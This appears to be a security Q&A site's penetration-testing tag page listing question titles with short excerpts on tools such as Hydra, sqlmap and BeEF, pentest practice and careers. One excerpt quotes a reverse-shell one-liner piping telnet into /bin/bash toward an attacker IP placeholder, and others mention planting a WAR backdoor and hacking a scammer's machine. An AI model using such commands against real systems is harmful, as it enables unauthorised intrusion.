An attempt to penetrate a system's security in an effort to evaluate the protections in place.

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Hydra from Kali Linux + Tamper http post form syntax of the failure login attempt

I had asked this question in the general forum I think it is more adequate to place it here. ...
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Comparing penetration testing suites

I've been using Backtrack for a while now. I was wondering if there is anything better, or on par with, that is worth looking into. Thoughts?
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How does BeEF work? (working understanding)

I have recently come across the BeEF- a browser exploitation tool. In most of the articles, it is said time and again that it is developed for research and pen test purposes! Has anyone worked with ...
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Stored Cross-Site Scripting Without Parentheses or Spaces

I'm testing a commenting application that takes a link of the form http://google.com and puts it in an href tag as so: <a rel="nofollow" href="http://google.com"> The resulting comment is ...
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What is the difference between active reconnaissance and scanning/enumeration

I have just started studying for CEH exam v8 and I am trying to get the core of so called hacking phases. I could not totally understand the practical difference between the first two phases. In ...
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Is hacking my own account illegal? [on hold]

I have just learned email hacking and I want to test it. I am well aware that if I hack into any email account, there are chances that my email service provider will track me. So if I hack into my ...
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External Penetration test by third party

I am planning to engage a vendor to do pen test on my external systems. I know that pen test has a set of systematic steps .. just would like to gather some industry experience. Normally, at which ...
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Can webcams be turned on without the indicator light?

I've made a series of penetration tests in my network and one of the things I've tried was to record webcam and microphone. Recording an end-user's microphone seems to be a stealth thing, but what ...
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Why Application Penetration Testing is required? [closed]

I've developed application for receiving payments on my shop site. However, my clients are asking and forcing to complete a penetration testing. Why there is need of penetration testing, when I ...
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Linux Hydra issue - random correct password success

I have an issue with Hydra when I use it. I have tried the same command lines given in guides directly supported by the Damn Vulnerable Web Application (DVWA) v1.8. Ok so.. here is my attempt ...
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I need to hack my website [closed]

I'm writing a simple web framework for a project of mine and need to ensure that the websites it produces are secure. In order to check this I thought I might as well just try and hack my own website ...
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Java org.xmlpull.v1.XmlPullParser and XML External Entity (XXE) Processing Attacks

I'm evaluating the security of an Android application and the application is using the XmlPullParser included with Android. I'm having some difficulty getting any common attacks to work, but I want ...
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Security analysis of Dashlane

I've been asked by a user whether I would recommend using the Dashlane password manager. I'm aware that other password managers have had some significant security problems, including XSS and CSRF ...
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Benefits to BlackArch over Kali

Besides BlackArch having a cooler name and the whole Ubuntu vs. Arch Linux thing, what are the relative benefits of BlackArch over Kali? Are the tools broadly the same, or does one have better ...
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How to get the information from the iframe displayed (ClickJack) to the user back to the attacker?

Just for knowledge I want to know how to get the information from the i-frame displayed to the user back to the attacker? Scenario : Suppose You are an attacker and you want to grab the private ...
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What is the Security Impact of HTTP1.0?

Nessus and other tools are detecting HTTP1.0 vulnerability. The status of the severity is "Informational" only. But what is the impact of this issue and how attacker can perform using this ...
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Effect of mail bombing

I have option in my application which send an invitation email to another user. Someday ago, one of my friend told me that, attacker can flood any email using this function. And i have checked that ...
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Login required before SQLmap

I have a multipart form data where I am suspecting one of the multipart form fields (parameter named htmlbevt_id), to be vulnerable to SQLi. To test for the same I captured the request using Burp and ...
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Screen capture through silent install routed back out port 80

A penetration test was allegedly done through the following method. The tester sent a user a a hyperlink that: Silently installed a piece of software/code/etc through the browser with 0 user ...
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database of URLs used by penetration tools

When someone is using a penetration test tool on my site sometimes I can find out what tool is that by looking at the user agent strings in the logs. But sometimes I can't because the tool uses a ...
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How to root a virtual device in android-sdk?

I was amused to see no one have ever asked such a question here before. After a little research in google I found only a few links to root a device in avd. Somewhere I also read that the sdk is ...
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Pen Testing Practice Box?

Are there any windows based pen testing vms out there similar to Metasploitable based on ubuntu? Just starting to learn hacking and such a box would be very helpful.
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What would be a good way to create a security testing schedule?

I've been tasked with creating a formal security testing schedule / calendar for our organisation's applications, as most of our current testing (scans, pentesting, etc) is done ad hoc. I'm wondering ...
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Pros/Cons of internal pentest department vs external pentesters

What are the advantages and disadvantages of having an internal pentest department in a large company compared to external service providers?
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Why hydra doesn't return a valid username&password with a valid supplied username&password [migrated]

I'm just trying out hydra to test this case. I have php file running with apache web server named 'index.php' as following: <?php $login = 'admin'; $password = 'r00t'; ?> <html> ...
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Windows netsh pivoting

I am pentesting a windows box to which I have gained system privileges. This box has two network interfaces. I have been able to reach machines on the second interface via the below netsh command. ...
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How to perform penetration testing of Blackberry mobile applications?

I wish to start with blackberry mobile application penetration testing. I researched on net but no "in-depth" knowledge is available. Here is a good article but not much is covered. ...
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Penetration Testing on Thick Client Application

I am trying to do penetration testing on thick client application. Is there any tool for intercepting the traffic from thick client application? I have tried with burp invisible proxy but it is not ...
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Are there any ways to leverage NTLM V2 hashes during a penetration test?

I am on a penetration test at the moment, where LM/NTMLv1 hashes are disabled. I have captured a number of NTLMv2 hashes via NBNS spoofing, however was unable to crack them after running them through ...
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The effect of hidden or spoofed service banners on vulnerability scanners

The linked question relates to error pages, although the same information is often available in HTTP headers, if I follow best practise of hiding service banners: Is displaying what server I am ...
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Automated server security testing best practices?

Is there a standard way of automatically testing the basic security of my web server? I've found a couple on-line services, (e.g. http://hackertarget.com/), and they seem ok, but I'd like to start off ...
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Information Gathering - Passive

I have several subnet to assess for a VA but the assessing will start next week. What could I do with the subnet that the client has already provided to me, without break anything or be intrusive ...
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What could happen if regex metacharacters using named capturing group are not encoded?

Let's say that a web application take a specific input from the user (e.g., search form), apply a Java regex with named caputring groups on it and use the final output to do other stuff (e.g., look ...
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Android/iOS application security testing checklist

According to OWASP, we have a list of top ten mobile application vulnerabilities. But we are damn sure that the number of vulnerabilities on mobile apps, especially android apps are far more than ...
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Testing for HTTP TRACE method

How can I test for HTTP TRACE on my web-server? I need to train a Tester how to verify that the HTTP TRACE method is disabled. Ideally I need a script to paste into Firebug to initiate a https ...
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Best practice in web application security authentication to avoid bruteforce attack

I want to cover the possible cases of attacking. My application already has captcha and two-factor authentication, but how can I avoid a tiny attack without annoying my users? The possible cases that ...
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ITR(Interactive TCP Relay) Configuration for penetration testing on Thick client Application [duplicate]

I am trying to do penetration testing on Thick client application. In some article I read like ITR(Interactive TCP Relay) will help in intercepting and modifying the traffic. I don't know how to ...
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Looking for [intentionally made] vulnerable applications suitable for practicing different penetration techniques (NOT a web apps, user side ones)

I'm looking for different kinds of applications which is intentionnaly (or not) made vulnerable and so are suitable for practicing different penetration techniques, like SQL injections, buffer ...
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Why don't banks get hacked?

From reading a lot of info on this website I came to the conclusion that if someone with enough skill really badly wants to gain access somewhere, then there is absolutely nothing stopping them from ...
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what is an internal iso 27001 technical auditor? [closed]

i have been recently hired by an ISO 27001 certified company as an " internal ISO technical auditor". My employer told me that my job is described as follow: this job is created because of the need ...
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Auto deploy war file (backdoor/shell) to particular folder [closed]

I am in the midst of a pentest. I have managed to uploaded a war shell (backdoor) in c:\test\ which is automatically deployed in a folder, for example c:\test\tmpbrowser.war. The application which I ...
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Wifi penetration testing: Why aireplay-ng de-authentication does not work?

I am trying to pentest the security of the password of my wireless network. It is a WPA2 with pre-shared-keys. My current computer is connected to the wifi router and I try to de-auth my own machine. ...
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Reverse shell back door

Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ). telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> ...
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SSD Self Encrypting Drives - Setup / warm boot bypass

I've seen folks deploying the SED on laptops recently. I've discovered that there is a setting in which you can do a warm boot and NOT require the bootup password to be put in again. Which makes ...
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XSSER get and post

I am using xsser for XSS vulnerability testing and I have a doubt about the parameters when it's a POST method. I have tried against DVWA (which uses get) with success like this: xsser -u ...
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Vulnerable OS's?

Which vulnerable OS's like for example DVL would you recommend for someone to use for the purpose of pentest/exploitation learning?
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Android Penetration Testing

I need to do pen test for android mobile application. I have an android mobile and laptop connected to same wi-fi network. I need to intercept/capture the requests/traffic of the mobile in the laptop ...
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What should a security audit report include?

Background I'm in charge of auditing a medium-scale web application. I have audited web applications several times before, but I've always wrote a short PDF quickly explaining what I encountered and ...
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Servers for penetration testing

I am learning to use Metasploit as part of one of my college lessons. As you may know there are software builds like NOWASP (Mutillidae) or Damn Vulnerable Linux that allow you to exercise on pentest ...
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I need help on how to hack into a scammer computer via IP/DNS [closed]

I really need your help in this one. Today I got scammed by a "trader" for 100$, but I managed to get his IP, reverse DNS and Hostname but I am unskilled in hacking. I need help here, I just want to ...